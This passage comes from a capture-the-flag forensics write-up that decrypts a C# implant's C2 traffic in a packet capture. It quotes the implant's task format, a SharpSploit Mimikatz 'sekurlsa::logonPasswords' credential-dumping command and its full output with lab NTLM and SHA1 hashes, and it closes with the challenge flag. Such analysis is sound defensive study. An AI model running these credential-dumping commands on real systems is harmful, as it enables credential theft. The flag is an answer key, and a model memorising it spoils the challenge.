	byte[] bytes = Encoding.UTF8.GetBytes(Program.ImgGen.RandomString(num - array.Length));
	byte[] array2 = new byte[num2];
	Array.Copy(array, 0, array2, 0, array.Length);
	Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
	Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length, cmdoutput.Length);
	return array2;
}

From the code above, we can see that this function will use the first 1500 bytes for a random picture and a random string. After that, it will append the output of the command to the end of the data. We can observe this data in the TCP stream using Wireshark.

TCP stream 7
TCP stream 20
TCP stream 28

We can observe that these are HTTP POST requests that send data to the URLs we saw in the Setup_Implant.txt. Additionally, we can see that at the beginning of the data, there is an image. However, after that, the data consists of encrypted content, including random strings and the output of the command line. This is exactly what we analyzed in the Program.ImgGen.GetImgData() function.

Decrypt TCP stream 5 (Core.exe and PwrStatusTracker.dll)

We will save the data that the C2 server sent back to the host in TCP stream 5 into a file. Then, we will use the Program.cs from the previous section to decrypt it. This time, we will use key1, so we need to update the code on line 19 to this:

text = Decryption(key1, encrypted_data, false);

The output should be like below:

TCP_stream_5_decrypted.txt
multicmd00031loadmoduleTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAD/RKWIAAAAAAAAAAOAAIgALATAAAMwCAAAIAAAAAAAARukCAAAgAAAAAAMAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAABAAwAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAPToAgBPAAAAAAADAMQFAAAAAAAAAAAAAAAAAAAAAAAAACADAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAzMoCAAAgAAAAzAIAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMQFAAAAAAMAAAYAAADOAgAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAACADAAACAAAA1AIAAAAAAAAAA...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!d-3dion@LD!-d00032loadmoduleTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAA...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=!d-3dion@LD!-d00033loadpowerstatus

We can observe that the data contains in the format

multicmd + Task ID + command line + program data(in base64 format) + !d-3dion@LD!-d

Therefore, we will extract the Base64 format and input it into CyberChef, then save the output to a file. I will call this file malware_2 and malware_3

Cyberchef decoded malware 2
Cyberchef decoded malware 3

Then, I will check the hash value of the files and upload them to VirusTotal.

malware_2 : A4D14345817BA95CB8AB1FFB2140AF0B

malware_3: F4702D36331C71DF5568DBC5BC31DEEE

Malware 2's result in VirusTotal
Malware 3's result in VirusTotal

According to VirusTotal, both of these two malware are written in C#. Therefore, I will use DNSpy to decompile them in order to access the code.

Core.exe's code

We will examine the LoadPowerStatus() function, which is called in TCP_stream_5_decrypted.txt. However, as its name suggests, this function acts as a monitor of the machine's power status, so it will not provide us with any useful information here.

Decrypt the HTTP POST request (TCP stream 8)

Based on the previous information, we know that the first 1500 bytes contain an image and random string. The data containing the output information that we need to extract starts from byte 1501. The image below shows the data we need to extract in TCP stream 8.

TCP stream 8

Copy the highlighted data and paste it into CyberChef to convert it into Base64 format, then save it to a file

Fix line 19 in Program.cs script to this:

text = Decryption(key1, encrypted_data, true);

Run the Program.cs and we will see the output in plain text:

TCP stream 8 decrypted

Decrypt TCP stream 16 (Mimikatz.exe)

Apply the same technique we used in the previous section with TCP stream 5 to obtain the Core.exe and PwrStatusTracker.dll. After successfully decrypting the data in TCP stream 16, we will receive a file like this:

Mimikatz_command.txt
multicmd00034loadmoduleTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAA7O+sYAAAAAAAAAAOAAI...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!d-3dion@LD!-d00035run-dll SharpSploit.Credentials.Mimikatz SharpSploit Command "privilege::debug sekurlsa::logonPasswords"

Now, We can see that the command line was sent from the C2 in plain text. It will run the Mimikatz command within the SharpSploit framework to extract stored or active logon credentials, then the output was sent back to C2 server. We can view the output of this command line by decrypting the data in TCP stream 20.

Decrypt TCP stream 20 (HTTP POST request - credential infiltration)

We will repeat the process used in TCP stream 8. First, we will copy the data from Wireshark and paste it into CyberChef to convert it into Base64 format. Then, we will save the result to a file.

Data in TCP stream 20 need to extract
Converting data to base64 format

Then, we wil run the Program.cs, the output will be shown below

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  8 2021 10:31:14
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # privilege::debug
Privilege '20' OK

mimikatz(powershell) # sekurlsa::logonPasswords

Authentication Id : 0 ; 1044643 (00000000:000ff0a3)
Session           : Interactive from 1
User Name         : IEUser
Domain            : DESKTOP
Logon Server      : DESKTOP
Logon Time        : 3/7/2023 11:30:59 AM
SID               : S-1-5-21-1281496067-1440983016-2272511217-1000
        msv :
         [00000003] Primary
         * Username : IEUser
         * Domain   : DESKTOP
         * NTLM     : 69943c5e63b4d2c104dbbcc15138b72b
         * SHA1     : e91fe173f59b063d620a934ce1a010f2b114c1f3
        tspkg :
        wdigest :
         * Username : IEUser
         * Domain   : DESKTOP
         * Password : (null)
        kerberos :
         * Username : IEUser
         * Domain   : DESKTOP
         * Password : (null)
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 1044605 (00000000:000ff07d)
Session           : Interactive from 1
User Name         : IEUser
Domain            : DESKTOP
Logon Server      : DESKTOP
Logon Time        : 3/7/2023 11:30:59 AM
SID               : S-1-5-21-1281496067-1440983016-2272511217-1000
        msv :
         [00000003] Primary
         * Username : IEUser
         * Domain   : DESKTOP
         * NTLM     : 69943c5e63b4d2c104dbbcc15138b72b
         * SHA1     : e91fe173f59b063d620a934ce1a010f2b114c1f3
        tspkg :
        wdigest :
         * Username : IEUser
         * Domain   : DESKTOP
         * Password : (null)
        kerberos :
         * Username : IEUser
         * Domain   : DESKTOP
         * Password : (null)
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 3/7/2023 11:30:00 AM
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 72709 (00000000:00011c05)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 3/7/2023 11:30:00 AM
SID               : S-1-5-90-0-1
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 72631 (00000000:00011bb7)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 3/7/2023 11:30:00 AM
SID               : S-1-5-90-0-1
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : DESKTOP$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 3/7/2023 11:30:00 AM
SID               : S-1-5-20
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : desktop$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 50926 (00000000:0000c6ee)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 3/7/2023 11:29:59 AM
SID               : S-1-5-96-0-0
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 50925 (00000000:0000c6ed)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 3/7/2023 11:29:59 AM
SID               : S-1-5-96-0-1
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 49932 (00000000:0000c30c)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 3/7/2023 11:29:59 AM
SID               :
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : DESKTOP$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 3/7/2023 11:29:59 AM
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : desktop$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :
        cloudap :       KO

Decrypt TCP stream 28 (HTTP POST request - Picture infiltration)

We will repeat the process used in TCP stream 8. First, we will copy the data from Wireshark and paste it into CyberChef to convert it into Base64 format. Then, we will save the result to a file.

Data in TCP stream 28 need to extract

Then, we wil run the Program.cs. This time the data we receive is in base64 format

iVBORw0KGgoAAAANSUhEUgAAB3oAAAOcCAYAAACol7BlAAAAAXNSR0IArs4c6QAAAARnQU1BAAC+lSURBVHhe7J0FmB1F2rZP3Md9zshxG/eJe0K...
+4gMDmcvrWuvx1RxX9Ur2SvBK/A7nUb0nYD8wf+Y4Ss4tPqt8xjKXX8ccc/wsm2E8Pz13/YwDfh62ebXc4bUwN89xa0H/fiAyN3XP38zrffrTJkdok5MreoftWb78/0Put73XeuHkAAAAAElFTkSuQmCC

Paste this value into CyberChef to decode it. After decoding, we will realize that this is the format of a PNG image.

Save the file and we will find the flag in the image

FLAG: HTB{h0w_c4N_y0U_s3e_p05H_c0mM4nd?}

Last updated